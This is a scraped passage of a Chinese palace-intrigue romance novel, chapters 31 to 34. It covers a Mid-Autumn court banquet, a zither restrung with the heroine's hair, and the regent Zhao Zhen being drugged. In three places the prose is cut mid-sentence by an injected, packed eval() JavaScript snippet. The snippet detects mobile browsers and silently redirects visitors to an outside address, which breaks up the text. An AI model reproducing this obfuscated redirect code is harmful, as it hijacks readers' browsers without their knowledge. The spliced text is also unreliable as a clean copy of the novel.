那是个四十岁的男子,身材矮壮,络腮胡须,他身着戎装,腰挂金牌,本是军人的装扮,应当十分英武才对,可因着配饰张扬,姿态又有些市侩,少了军旅之人应有的利落,故而尽显富贵,倒与气概之流无所加成了。 这男人的到来使得席间众人神色各异,奚瞳注意道这一点,压低声音问赵臻:“这人谁啊。” “越阳王高江。”赵臻回答。 奚瞳眉峰微挑,前两天赵臻同她提过这个名字,她私下也跟裴叔打听过这人。 高江是先帝高宇的长子,也是高宇第一任皇后的儿子。 高宇总共有三任皇后,周怀淑是第三任,前两位都是惨死。 第一位是高宇的发妻桓氏,在高宇还是皇子的时候就嫁给他了。 高宇做了皇帝后,一天比一天疯魔,将朝廷大小事务都交给扶持他上位的世家,他自己则大兴土木,命人扩建了皇宫,各路嫔妃纳了足足一千多个,听说那时的宫女都是不允许穿小衣和裈裤的,就是为了方便高宇临幸…… 大盈原本就是世家相争,可将这份争斗推上高潮、让世家势大到可以牵制皇权的,就是高宇这位皇帝本人。 桓皇后出身高门,看不惯高宇如此,便屡屡进言劝说。高宇最后被她说烦了,便要了桓氏的性命。只是这要命的方法,实在耸人听闻。 彼时他们的儿子高江已是舞象之年,某日,高宇将他召入皇后宫中,对他说:“你母后多次犯上,声称孤的所作所为,让她这读过书的清流女子看不过眼,这样吧,孤给你一个选择,要么挖了你母亲的眼睛,要么孤废了你的皇子身份,贬做庶民,同你这清高的母后出宫讨生活去吧。” 高江舍不得身为皇子的荣华富贵,最终亲自动手,抠了桓皇后一双眼睛出来。 有夫如此,有子如此,桓皇后悲愤交加,最后撞柱而死。 奚瞳初听这个故事,只觉义愤。 她在长秦的父王已然算是非常昏庸,但跟高宇相比,实在是小巫见大巫。至于高江,小小年纪便做出弑母之举,能是什么好东西。 此时高江身边有位华服官员正与之亲热交谈,身边还跟着一个年轻女子,女子背对着奚瞳,她看不清她的样貌。 “想必那就是大司徒周正吧。”奚瞳问。 “嗯。”赵臻点了点头。 周正同高江寒暄完了,便一起上前走。 临近座位时,两人齐齐朝赵臻看来,周正笑着朝赵臻作了揖,高江则目光不善。 赵臻但笑不语,只举起茶盏,隔空一碰,却未仰饮,而是手腕一转,盏中茶水,尽数倾倒。 周正的笑容僵在脸上,高江更是恨意浮面。 赵臻此举一出,满朝文武噤声不敢言。 高江是诸侯王,周正是当朝大司徒,他们远远跟赵臻打招呼,可赵臻却连表面功夫都不愿做,挑衅之意、不臣之心可见一斑。 “哎……你这是何必?”奚瞳有些无奈。 赵臻却嗤笑出声:“周正啊,贪婪。他谋权谋财,做尽恶事,却想要好名声。可我不同,我赵臻,是权臣。” 奚瞳看着赵臻的侧脸,他的下颌线像是被工匠精心雕琢过一半,清隽如画,却又凌厉如锋,真可谓面如其人。 是啊,他是权臣。权臣做到一定程度,人生的基调会变得极致。 那时候的长秦王宫,赵臻迎面碰见太子,都可以不行礼、不问安,更遑论碰到其他臣子。朝中信奉儒学的老臣每每议论起来,各个恨不得生啖其肉,可兴和大殿那场屠杀朝臣的血案之后,再也没有人敢对他放半句狠话。因为他们知道,只要王上放任,他们便永远无法和赵臻抗衡。长秦的最高权力已经化作水汽,沁入赵臻的身体,这水汽足可让他翻手为云,覆手为雨。 这就是权臣,一人之下、万人之上、真正的权臣。 赵臻感受到奚瞳长久的注视,他转头看她:“怎么了?” 奚瞳认真道:“既如此,赵臻你可千万别输啊。世间容不下失败的权臣,你懂吗?” 权臣的极致也在于此。 在山巅时,是极致的富贵荣华,可一旦坠落,便是粉身碎骨。生前的罪过足以让肉身受尽酷刑和审判,而身后伴随的,是万世的骂名,成仙无路,轮回无门,只能在九幽之下,做永恒的孤魂野鬼。 历史上这样的权臣比比皆是,他们被灭族、车裂、斩首、凌迟……长秦那个名为赵臻的枢密使亦是如此。奚瞳不希望这一世的他继续走入这样的结局。 又是这种眼神…… 赵臻久久凝视着奚瞳,她又是这种悲悯的、怜爱的眼神。 他因这样的眼神而愤怒,他想将她狠狠拉进怀里,然后亲吻她、啃噬她、占有她、质问她——你凭什么这么看着我?凭什么?! 他想征服她,让她仰望他、崇拜他、迷恋他、再也离不开他。而不是像现在一样,可怜他…… “太傅大人。”一声呼唤打断了赵臻和奚瞳的思绪。 说话的是越阳王高江,他面露讥讽:“听闻你前阵子独创一道刑罚,名为刷洗?本王远在越地都已听说。太傅不是一向喜欢在百姓面前端一副仁德样貌么,怎得会起用这样丧心病狂的刑罚?” 程冲固然罪该万死,但刷洗之刑太过残酷,乃至天下文人对此口诛笔伐,赵臻也因此蒙上污点。 赵臻笑了笑:“乱世当用重典。朝廷现在是什么局面,在座的各位难道不清楚吗?不用重刑,如何震慑诸君?” 奚瞳在一旁听了这话只想笑,赵臻现在就是一整个不装了,平等地骂所有人。 果不其然,在座百官也没想到这位太傅这么直白,把震慑他们的目的直接就这么说出来了,有些脸皮薄的已经露了些尴尬之色。 高江却抓住了这话的漏洞:“太傅这是什么意思?陛下是不在了吗?轮得到你震慑群臣?!陛下!赵臻此言大逆,陛下应立即处置赵臻。” 高江四十多岁的人,此时对着六岁的幼帝、也是他的弟弟高澈行礼,请求他降罪赵臻。 高澈本来在高高兴兴吃着炙羊肉,闻言面露不悦。 周怀淑打圆场:“越阳王,今天是中秋宫宴,但在陛下和本宫心里,也是家宴,陛下与众卿都是一家人,家宴之上,不说政事。” 高江看着周怀淑,面露鄙夷:“太后怕是只想同太傅做一家人吧,吾等臣子哪有这样的本事,同您做一家人。” “你!……”周怀淑怒视高江。 赵臻却含笑啜一口茶,看向幼帝:“陛下,臣只是莫须有的大逆,可越阳王,可是实打实同您争过帝位呢。他欺陛下年幼,便当您没有脑子,还望陛下明鉴啊。” 赵臻话音落下,四周鸦雀无声。 皇室从来立嫡立长,高澈能继位,全靠赵臻和周正谋划,高江当初若不愿离京,等待他的只有一个死。如今时移世易,他却在幼帝跟前装作乖巧称臣了。 高江的眼睛已经遍布对赵臻的杀意,正当此时,一道清朗之声传了过来—— “陛下恕罪!臣来迟!” 奚瞳闻声望去,只见一男子着一身东方既白,手执羽扇款款走来。 她猝然站了起来,讶然出声:“云序……” 奚瞳的动作吸引了群臣的注意,赵臻有些疑惑地看着奚瞳,她……认识他?…… 来人也有些意外地看了一眼这个突然起身说话的小子,但很快他便收回了视线,走到幼帝跟前:“臣高澜来迟,请陛下恕罪。” 高澈满嘴羊肉,太后露出客套的笑意:“昭阳王不必自责,昭地距京城甚远,这一路想必也是疲累,今儿个没有外人,赶快入座吧。” 奚瞳有些怔怔地坐下,昭阳王……高澜……云序这一世的名字,叫高澜…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164575|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高澜阔步入座,满饮一杯,举手投足豪放之中又透着贵气,引得席上一直不敢抬眼的女眷纷纷侧目。 奚瞳也不例外,他的风姿倒和长秦时无甚区别,依旧是公子无双的模样。 赵臻看着奚瞳近乎发直的目光,握着茶盏的指节渐渐因为用力而发白。 “方才大王兄同太傅大人说什么呢?这么热闹?” 高澜笑着问,可不等两人回答,他又开了口:“今夜月色皎洁,京城的桂子香又沁人心脾,无论什么热闹,可否都让一让小王?小王给诸位弹奏一曲如何?” “好啊!”“好!” 席上有些年纪大的文臣赶紧出口附和,他们今夜是来吃酒的,可不是来评判太傅和越阳王谁更想谋反的,好好一个中秋节,大伙儿都活着不好吗? 高澜闻言起身,走到寒酥台中央,他的侍从给他搬来一张琴案和一尾琴。 “这琴是小王在昭地一个古董商人那儿得的,名为……” “魅伏……” 高澜话说到一半,奚瞳便开了口。 高澜有些惊奇,忍不住看向奚瞳:“小哥怎知这琴的名字。” 奚瞳有些懊悔,她方才明明是在心里说的,可没想到嘴巴这么不听使唤,竟道出了声。 魅伏琴一直就是云序的,昔年长秦王宫里,云序经常弹琴给她听,他们还一起合奏过。 “王爷恕罪。”奚瞳赶紧起身:“我之前在家乡时,在一老乞丐那里看过一本琴谱,琴谱扉页所画的古琴同王爷这一把很像,叫做魅伏,所以……” 高澜恍然:“原是如此,看来小哥与这琴有缘,也与小王有缘。” 说罢,他意味深长地看向赵臻,赵臻也在看着他。 赵臻对他似有些敌意,这份敌意,甚至超过两年前幼帝登基,他将自己流放出京时。 看来这小哥,在赵臻心里有些分量。高澜心中了然。 他的眼神又回到奚瞳身上,这小哥其貌不扬,唯独一双眼睛渡了一层光泽,不输今夜月色。 不奇怪,赵臻看人的眼光一向是好的。 高澜看回琴案,此时一阵微风袭来,将他的发尾和长衫都吹起波澜。 “这样好的秋夜,就为诸君弹一曲《银汉歌》罢。” 风停,素手捻丝弦,琴声起,银汉迢迢似可渡。 群臣这才从方才剑拔弩张的气氛中彻底抽离出来,摇晃着酒盏,坠入了中秋的好月色里。 可没一会儿,吃完羊肉的小皇帝闹起来:“没意思没意思!我要看美人跳舞!不要听弹琴!” “澈儿……”周怀淑出言制止。 “吱!” 魅伏琴突然发出刺耳的声响,众人看去,才发现是琴弦断了。 高江一向看不惯高澜,当年先帝在位,诸臣属意的太子人选其实是高澜,甚至有几个大臣上奏,劝先帝立贤不立长。不止如此,因为姿容甚美、精通文墨,高澜在文人雅士心中也有极好的口碑。 高江深知,来日他起兵夺权,高澜一定会是他的绊脚石。 这样的人,要尽早除掉才好。 高江嘲讽道:“弦断不祥,这样好的一把古琴,昭阳王这样好的琴艺,竟让琴弦轻易断了。高澜,你怕是故意的吧,是在诅咒陛下吗?” 高澜也皱了眉,七月八月恰逢多个州府的雨季,许是古琴在途中受潮所致吧。 他刚要起身请罪,可一道熟悉的声音又传了过来。 “我……我可以将琴弦修好。” 奚瞳的话来得突然,她又是赵臻身边的人,众人拿不准她的身份,便没有人出言阻拦。 高澜闻言开口:“那就劳烦小哥将魅伏带回……” “不必,一会儿就好。” “现在?”高澜惊诧。 “嗯。” 奚瞳应一声,便朝高澜走去。 赵臻看着奚瞳的背影,咬肌暗暗收紧。 32.第 32 章 奚瞳缓步走向寒酥台中央。 魅伏琴是云序住到公主府的第二年,她赏赐给他的。那一年西域小国的使者东渡而来,途径长秦,作为公主的奚瞳迎接招待,使者临别,赠予她一尾古琴。 传说这尾琴来自九霄梵天,五百年红雪松做琴身,沼泽黑蚕丝做琴弦,千年不腐,万年不蠹。琴声诡谲,低沉时如老翁吟啸,高亢时若艳妖高歌,所以名为魅伏。 奚瞳觉得这琴贵重,白拿人家的很不好意思,就命人把长秦王宫里最大的一尊血珊瑚搬到了使者的马车上,还给了他一些珠宝文玩当做回礼。 云序精通乐律,又是懂琴好琴之人,使者走后,奚瞳就将魅伏赏赐给了他,之后云序便常在公主府为她抚琴。 但没过多久,魅伏的第三根琴弦就断了,奚瞳幡然醒悟,觉得自己大抵是被那个使者诈骗了。她想起自己送出去的那些个宝贝,不由恨得牙根痒痒,在公主府连打了好几天空气铁拳。 云序倒是跟奚瞳看法不同,他觉得魅伏不是一无是处,便想着将琴弦修好。可寻了好几位琴师,用了各种材料的琴弦,音质都同魅伏本身相差甚远。 某日黄昏两人坐在公主府院中,守着魅伏琴各自发愁,碰巧一阵晚风吹来,奚瞳的发尾正巧被魅伏的弦钩勾住。 奚瞳吃痛,不自主有些挣扎,云序着急伸手想要帮她解开,机缘巧合,奚瞳的一缕鬓发绷紧,云序手指相拨,瞬间发出嘲哳之声,竟有一些浑厚琴韵。 那一天,魅伏终于被修好了。 奚瞳走到昭阳王高澜跟前,低头看着琴案上的魅伏,嘴角弯起一个弧度。 看来那西域使者倒也不算全然丧了良心,琴弦质量确实堪忧,但琴身的成色同五百年前别无二致,果真是不腐不蠹。 高澜看着眼前这个小子,竟有一瞬恍惚。 他明明姿容平平,甚至堪称粗陋,穿着也没什么品味可言,可他周身的气韵,几乎让人忽略了他的脸,有大户人家的富贵之气,也有与他年纪不相称的世外高人的仙风道骨。 高澜不禁惊奇,大盈京中叫得上名字的世家公子,他即便不熟识,也是认得的。这样一位郎君,竟没能被他发现,堪堪成了赵臻的入幕之宾。 高澜一颗心挂在奚瞳身上,没能发现赵臻看向这边的眼神已经冷得要射出剑光来。 然而下一刻的景象更是让在座众人惊诧。 只见奚瞳解开了束发,一头青丝随着中秋夜风轻轻舞动。这是个很逾矩的行为,只有最风流的公子做起来才不惹人厌。可眼前这个小子做起来,竟也十分优美。 奚瞳的头发极好,纤细柔软如绸,浓密黝黑如墨,在圆月高悬的夜色下,在满宫华灯的映衬中,长发的律动给像是给她周身渡了一层妖气。 大盈王宫从不缺美人,可如奚瞳这样,凭借气韵和身姿让人全然忘却容貌的,众人还是第一次见。 就连王座之上艳冠天下的太后周怀淑忍不住喃喃一声:“妖孽……” 赵臻更是煎熬,他的喉结滚了一滚,悔意充盈他整个胸腔,近乎让他窒息。 他不该带她进宫的,她本来是他一个人的,她原该只属于他一个人。 奚瞳对周遭的眼光全然不觉,只从两鬓摘了九条发丝,她和云序当时试过,九条是恰好的数量,少一条声音便轻佻,多一条则浑厚有余,失了灵动。 她将发丝编织成缕,找到魅伏琴龙龈处的琴钩,仔细打着死结。 “其实工序之中,应有一道粘合。头发不如蚕丝柔韧,这样随意编织不是长久之计,不过应付今晚不成问题。”奚瞳一边专注动作一边对高澜说:“好了,昭阳王试试?将来若还需要我的头发,就找赵臻要。” 在奚瞳修琴的时候,高澜一直在看她。她没有喉结,衣衫松垮,一阵风吹过,前襟贴身,胸前隐约有峰峦,加上她说话的声音,他已然断定了,这是个女子。 呵……高澜忍不住笑了,赵臻啊赵臻,英雄难过美人关。但也……的确好眼光。 高澜识破这一层,便起了玩心,他轻挑眉峰:“会弹琴吗?” 奚瞳这才看向高澜,高澜在这个注视里愣了愣,真是一双极好的眼睛,坦率又有灵气,像是初到人间、无知又无畏的小动物。 奚瞳回答:“会。” 高澜笑了:“要不要弹一曲?” 奚瞳忍不住看向赵臻,似是询问他的意见。 高澜笑意更深:“太傅大人真是御下有方,不过是邀请这位小公子弹奏一曲这种小事,竟还要得太傅首肯。” 赵臻目光如鹰,同高澜对峙片刻,最终对奚瞳点了头。 高澜让出了演奏的位置,入席之前问奚瞳:“弹什么?” 弹什么…… 奚瞳会弹的曲子不少,但大都是咏景咏情之作。赵臻因为冲撞云序被她杖责,之后他在宫中再见她弹琴时便出言讥讽,说长秦朝堂动荡,公主却只知弹奏一些靡靡之音。从那之后,她便不怎么抚琴了。 她的眼睛看向赵臻,脑海里闪过的是她死前最后的画面。 那是一个万籁俱寂阖宫入眠的长夜,敌军的马蹄声撕碎了王朝最后的安宁,他们长驱直入,先是攻破城门,很快就是宫门,杀声将所有人惊醒,醒来那一瞬,昨日富贵已成烟云,他们的性命已经等不来黎明。 她的父王和王兄在兴和殿踱步几遭,很快便选择了投降。 她悲愤绝望之下,举着长剑走向城墙,那柄长剑用来肃清她求死之路上的敌军,以此保护她生前最后的清白。 她站上皇城最高处时,赵臻一身白衣赶到了她的身边,他挥剑杀敌,鲜血染红白衣,血可能是敌军的,也可能是他自己的。 他一遍一遍被击倒,又一遍一遍站起来。 当他濒临力竭,一个敌军兵士终于朝她冲过来时,她知道她的生命已经到了应该终结的时候。于是她横剑自刎,两天之后,赵臻被敌军凌迟而死…… 奚瞳的眼睛蒙上一层雾,今夜的月色跟那时很像,今夜的赵臻还好好活着。 那个唯一保护过她的人,与她爱恨纠缠了一辈子的人,此刻好好地呆在她身边,她因此而庆幸。 “《破阵歌》吧。”奚瞳回答。 高澜听到着这个答案,内心没什么波澜,《破阵歌》是很寻常的曲子,军旅之中时常演奏。 只是这首曲子多以鼓点作为主线,古琴独奏倒是有些新意。 群臣也对这答案有些失望,能让昭阳王将古琴让出来,原以为是多么惊世骇俗的乐曲,结果就是个烂大街的《破阵歌》。 “请。”高澜道。 奚瞳坐到琴案前,抚摸着魅伏的琴身,有些唏嘘,她轻轻抬手,指尖逼近琴弦时,一道清脆女声响起。 “《破阵歌》最讲气势,只有琴声未免单调,陛下,太后,臣女愿和琴而舞,还望二位恩准。” 奚瞳抬眸,这女子貌美非常,一身红衣,水袖蜿蜒,看来是早就准备好献舞了,只是借了一手她的琴曲。 奚瞳又注意到她的发髻和发饰,总觉得熟悉,凝神一想,便记起这是大司徒周正方才同越阳王高江寒暄时,他身边站的女子。 奚瞳又仔仔细细将她看一遍,发现她与太后容貌有三分相似,对她的身份也大致有了猜测。 小皇帝高澈一听周韵仪要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188063|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳舞,高兴地鼓起掌来:“好啊好啊,跳舞好看,跳舞好看!” 周韵仪抿唇一笑,走到寒酥台中央,同奚瞳对视一眼,点了点头,示意开始。 奚瞳见她一步步走近,越发被她的美貌所震撼,她肤如凝脂,玉面生辉,跟她相比自己活像一个蒸过了时辰的窝窝头。 她晃了晃脑袋,迫使自己清醒,表演节目呢,不能走神。 她双手抚上琴弦,琴声婉转而起。 先是哀怨,宛若送别战士的母亲与妻子,在做最后的叮嘱呢喃;片刻过后,琴声变得呕哑,如泣如诉;慢慢地,这份呕哑变得厚重,那是军人之家对于精忠报国的决心;再过片刻,纤指挑动丝线,古琴发出难得的高亢之声,那是战士榻上了征途…… 席间,赵臻和高澜同时拧眉…… 这不是《破阵歌》,准确地说,这不只是《破阵歌》。 奚瞳对这首曲子进行了大刀阔斧的改动,抛开了代表着杀伐的鼓点,揉进了交杂着各种情感的曲调,那曲调里有悲壮、有决心、有爱恨,最重要的是……他们听到了无尽的孤独…… 赵臻的心海波澜阵阵,他并不喜丝竹之声,那是纨绔子弟才会喜欢的东西。 可这一刻,他竟被这首曲子打动。 赵臻此刻满眼都是奚瞳,完全没有注意到翩然起舞的周韵仪。 与之形成鲜明对比的便是高江之流,他们早就对着周韵仪看直了眼,口水都恨不得流下来。 周韵仪的舞姿轻灵优雅,与奚瞳的琴声配得极好。琴声怨慕,她便柔软舒展,琴声铿锵,她便英气利落。 琴声的节奏渐渐加快,那是战士在奋勇杀敌。 周韵仪也开始绕着寒酥台舞动,她跳着胡璇步,先是走到越阳王高江面前,水袖一甩,秋海棠的花瓣散落在高江面前,高江登时兴奋地涨红了脸,伸手想要抓住周韵仪的袖子,她却灵巧转身,躲了开来。 继而她又步到赵臻跟前,同样的挥袖,同样的花瓣飞舞。可赵臻只觉得烦,这女子挡到他看奚瞳了。 周韵仪也不恼,嘴上噙着绵长莫测的笑意,同样的舞姿,接下来是昭阳王、大司空、廷尉监……乃至在场的群臣。 一曲结束,红色花瓣漫天,秋海棠很美,但也像极了血。 奚瞳不禁感叹,周韵仪的舞姿,配得上她的曲子,甚至这首曲子,有了她这一舞,才更显完整。 奚瞳起身,走到周韵仪身边,两人对陛下行礼。紧接着便是阵阵高昂的叫好声。 随着这一曲一舞,席间的热闹已经被全然打开,群臣觥筹交错,把酒言欢起来。 奚瞳做完礼数,还未来得及回席,就被高澜开口叫住。 高澜走上前来:“这不是《破阵歌》,这是什么曲子?” 奚瞳笑笑:“小时候无聊,将《破阵歌》和《登临曲》做了融合,弹着玩的。” 她在天庭时,常常自娱自乐弹这首曲子,她觉得曲子里有人,赵臻就住在里头,离她不算太远。 “《登临曲》?!你是说古曲登临?!” 高澜惊诧,《登临曲》失传已有两百年之久,奚瞳这么年轻,她怎么会知道?! 奚瞳不明所以,只加了一层小心:“《登临曲》是我家乡的一首曲子,至于是不是你所说的古曲,我不知道。” 高澜不甘心:“他日得闲,小公子能否将《登临曲》弹与小王一听?” 奚瞳沉吟一会儿:“倒是没什么不行,如果赵臻方便的话。” 说罢,奚瞳看向赵臻,可他的席位空空如也。 “赵臻?……” 奚瞳纳罕,赵臻去哪了…… 33.第 33 章 赵臻在《破阵歌》演奏至高潮时,无端觉得有些醺然,可他明明没有喝酒。 他先是意识有些昏沉,然而这种昏沉带来的,并不是困倦,而是一种他已经十年没有体会过的欣快之感。他觉得他的身体在下沉,但灵魂却越发的轻飘,像是要随风舞动起来。 接着是眩晕,这种眩晕最先改变的是他的视觉,奚瞳的身上仿佛渡了一层柔光,她枣红的衣衫突然就退了色,变成了飘逸的素衣白裳。她的面目逐渐模糊了,隐隐约约的,她的小脸变得如月色皎洁,额间……额间似乎还有一枚花钿。很快,眩晕侵犯了赵臻的听觉,他觉得她头顶上的那枚铃兰簪子随风晃动,灯笼一样的花朵碰撞在一起,发出叮铃的响声。 是你吗……赵臻醉眼迷离,那个无数次出现在我梦境中的女子……奚瞳……是你吗…… 最终,这份醉意彻底腐蚀了赵臻的大脑,剥夺了他的感官,他看不见听不见眼前的一切。只有画面不断地在脑海里翻涌,全是太傅府中,他和奚瞳朝夕相处的点滴。 诸如捧着碗吃饭时,她长袖滑落后露出的纤细光洁的手臂;案牍烛光下,蒲团上她伸出裙裾的赤/裸的脚踝和玉足;同他下棋时,她用手托起的香腮和泛着水光的双唇,以及……以及她弯腰拾起凋落的花瓣时,他不经意瞥见的她衣襟里那柔婉而神秘的沟壑…… 赵臻近乎要迷离了,他想将这片梦幻光影里的奚瞳拉进自己的怀中,他要亲手撕碎她的衣衫,让她以最原始最坦诚的姿态面对他,他要吞噬她、融化她,她的身体、她的灵魂,他要她一遍又一遍的发誓,发誓她永远属于他,永远陪着他…… 就在理智即将脱离身体的最后一刹,赵臻轻颤着抽出了登天剑,而后,他的手掌离开了剑柄,紧紧握住了剑锋。 疼痛让他的瞳孔猝然紧缩,已经飘到半空的神识猛地落回了躯壳。 思绪清明,可浴/火难消。 他的视线转回到寒酥台,奚瞳正背对着他,同高澜说话。 赵臻的心尖一痛,他很想走上前去,一把将奚瞳抢回来,可他刚一迈步,就发觉小腹热血横流,欲望更甚。 他不能再呆在这里了,再呆下去,他不知道自己会做出多么不堪之举。 他深深望着奚瞳,他很希望奚瞳这时能回头看看他,可他没有等来心有灵犀的一眼。 他咬着牙起身,顺着宫/道走,他要找到今日戍卫宫城的林载,他要抓住给他下药的那个人。 赵臻步履维艰,他回想今日种种,到底是谁呢。 为他布菜的红盏是周怀淑的人,身旁伺候的阉人是周正的眼线,还有个宫婢试图给他倒酒,被他拒绝,那人是个生面孔,不知是寻常奴婢,还是谁新布在宫里的眼线…… 然后就是……周韵仪长袖舞里散落在他眼前的秋海棠…… 随着那片花瓣的散落,空气中弥漫着一股异香,可是秋海棠不只落在他这一处,高江、高澜、甚至周韵仪的生身父亲周正也不能幸免。 所以到底是谁…… 还没等赵臻想明白,疼痛也已不能阻止药效的发散。 赵臻耳朵里传来女子们的嬉笑声,是不远处洒扫的宫女…… 不行,他要找没有人的小路走,他不想同那些世家纨绔一样,做随意糟蹋女子的禽兽。 他一边走着,脑海里又开始有画面不停闪过,只是这一次,不再是他同奚瞳同处的岁月,脑海里的那两个人是奚瞳和……和高澜?…… “哎呀呀,我的头发!”奚瞳眯眼呲牙,好像是疼:“那个狗使者送的什么破琴?!不要让我再碰到他!否则我一定要在他脸上画满乌龟让他全长秦巡回展示!云序你还笑,还不帮我解开。” 高澜伸出手,脸上带着温柔的笑意:“公主在外端方有礼,可一回到家,就还是小孩子性情。” 公主……长秦……云序…… 赵臻迷茫了,这是什么…… “叮……”奚瞳绷直的发丝在高澜的拨弄下发出类似琴音的声响。 “公主您听见了吗?”高澜激动:“或许……或许您的青丝可以代替琴弦。” 赵臻的胸口灌了铅一般,这……这好像也不是梦……这分明是方才发生过的。 难道……难道奚瞳和高澜早就认识?! 她是高澜的人?! 萌生这个猜测之后,赵臻的心头燃起熊熊烈火,妒海生波。 脑海里男女的对话还在继续,琴弦像是已经被修好了。 “一把破琴,居然浪费本公主九条绝美头发丝儿,真是岂有此理。”奚瞳的樱唇微微撅起来,脸颊因为愠怒而生了一点霞韵。 高澜满眼柔情地望着她:“公主莫要生气了,权当是为了微臣。这样算来,您同微臣,也算是结发之缘了。” …… 赵臻再也支撑不住,瘫坐在一座旧宫店的灌木丛旁。 他喉头一阵腥甜,似是有血涌了上来。 他的身体被欲望浸染,理智被恨意折磨,结发为夫妻,你们要缔结结发之缘,那我算什么?!我算什么?! 奚瞳……奚瞳你怎么敢?!怎么敢同别人……我在你心里……究竟算什么?! “赵臻?” 就在赵臻百般煎熬生不如死时,不远处传来一声熟悉的呼唤。 奚瞳发现赵臻不见了,便同高澜兵分两路找了出来。 高澜带人往灯火通明处找,奚瞳却觉得赵臻离席有些蹊跷,担心他自毁的情绪又发作起来,便朝着无人的小径寻过来。 “赵臻!” 确定是他之后,奚瞳一路小跑,来到赵臻身边。 她半蹲下来看着赵臻,他的脸上已无多少血色,唯有唇角因咳血而有红晕;汗水将他额前和两鬓的头发都打湿,他似是淋了一场冷雨一般;他的手掌有了一道很深的口子,小臂上也横亘着几道剑伤。 “赵臻!你怎么又……你忘了我同你怎么说的了吗?”奚瞳见他又伤了自己,神情满是心疼,赶紧撕开自己的衣摆作布条,为他包扎。 可下一刻,她便被赵臻狠狠攫住了肩膀,她因吃痛而微闭双眸,再睁开眼中,便迎上赵臻带着无限委屈的目光。 “你怎么能同他说什么结发之缘?!”赵臻的声音哽咽而颤抖:“那么多年,朝朝暮暮陪着你的是我!是我!你同他是结发之缘,那同我是什么?在你心里我是什么?!” 赵臻声嘶力竭地质问着奚瞳,奚瞳却忘却了肩膀的疼痛:“赵臻你……你想起来了?……” 她仔仔细细看着他的眼睛,他的眼睛除了浓烈的情绪之外,还有不寻常的病态的猩红。 不对…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212499|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九幽冥府的孟婆汤万无一失,况且已经相隔五百年,赵臻不可能想起来。 他一定是被人种蛊、或者被人下药了,乃至魂魄激荡,否则不会想起长秦的事。 “赵臻……你先等等。”奚瞳忍着痛意,尝试跟他沟通。 可赵臻全然听不进去,他额间青筋毕露:“奚瞳,你心里有他是吗?我告诉你,我会将他抓起来,我要鞭笞他、废掉他的双手,我要让他再也不能弹琴!” 奚瞳愕然。 所以……赵臻那时折磨云序,对他用了鞭刑,挑断了他右手的手筋,是因为他误会自己爱慕云序?就像后来,赵臻也除掉了自己的两任准驸马那样。 奚瞳感到困惑,也有些愤怒,她还来不及生气,只见赵臻的眸底突然闪过一瞬清明。 他一把将奚瞳推开,垂眸不敢看她,他颤声道:“你快走。我中毒了,我不知道我会对你做出什么事,我不想你看到我这样,快走……走啊!” 奚瞳终是心软,此刻不是翻旧账的时候,她无奈叹一口气,伸手将他紧紧抱在了怀里:“赵臻,你忘了吗?我说过,我永不背弃你。” 奚瞳感受到怀里的人身体一僵,紧接着,他的手环上了她的腰。 他颤抖地越来越厉害,似乎在竭力克制着什么,奚瞳尝试着将他扛起来,她得带赵臻去求救,否则赵臻真的可能死在这儿。 就在奚瞳将赵臻的手臂搭在自己肩膀,挣扎着起身时,她的膝盖不小心碰到了赵臻身体的一处,赵臻登时发出一声悠长的喘息。 意识到自己碰了什么的奚瞳耳朵瞬间着了火:“赵臻你……中的是……” “媚毒……” “……”奚瞳愣住了:“呃……我觉得我走也是可以的……那什么……我去给你找人,你呆在这里不要动。我不是背弃你哈,不是背弃……” “别走。”赵臻突然抱住了她,声音柔软,满是哀求:“求你……别走……” 正在两人僵持之际,一席红衣来到他们身边。 奚瞳抬眸,是方才为她伴舞的女子。 “不必找人了,寒酥台已经乱成一锅粥了,陛下太后都还在那儿,暂时没人顾得上您这位太傅的死活。”周韵仪沉声道。 赵臻咬牙冷笑:“是你……” “是我。”周韵仪坦然承认:“但赵臻,你该庆幸,今夜布局的是我。” 说完,周韵仪掏出一个白瓷瓶,将几粒红色药丸倒在掌心:“吃下去,毒就解了。” 赵臻早就意识迷离,如今这样,全靠意志在强撑:“我凭什么相信你。” 周韵仪眼带讥诮:“凭我手里有你想要的东西。” 赵臻还是狐疑,可奚瞳却将药丸接过来,送到赵臻嘴边:“她没有说谎,人的眼睛不会说谎。” 赵臻看了奚瞳一眼,没说什么,张口就将药丸吃了下去。 周韵仪在一旁看着,倒是笑了:“我一直在想,长姐苦求十年得不到的男人,究竟会拜倒在什么样的女君裙下,今日看来,不过如此。” 赵臻吃了药,体内的血流如飞,心跳也快了许多,他无力同周韵仪做什么口舌之争,只坐在宫/道上调理气息。 倒是奚瞳很认真地看着周韵仪,指了指自己:“我是女子这件事,很明显吗?” 周韵仪:“……” 34.第 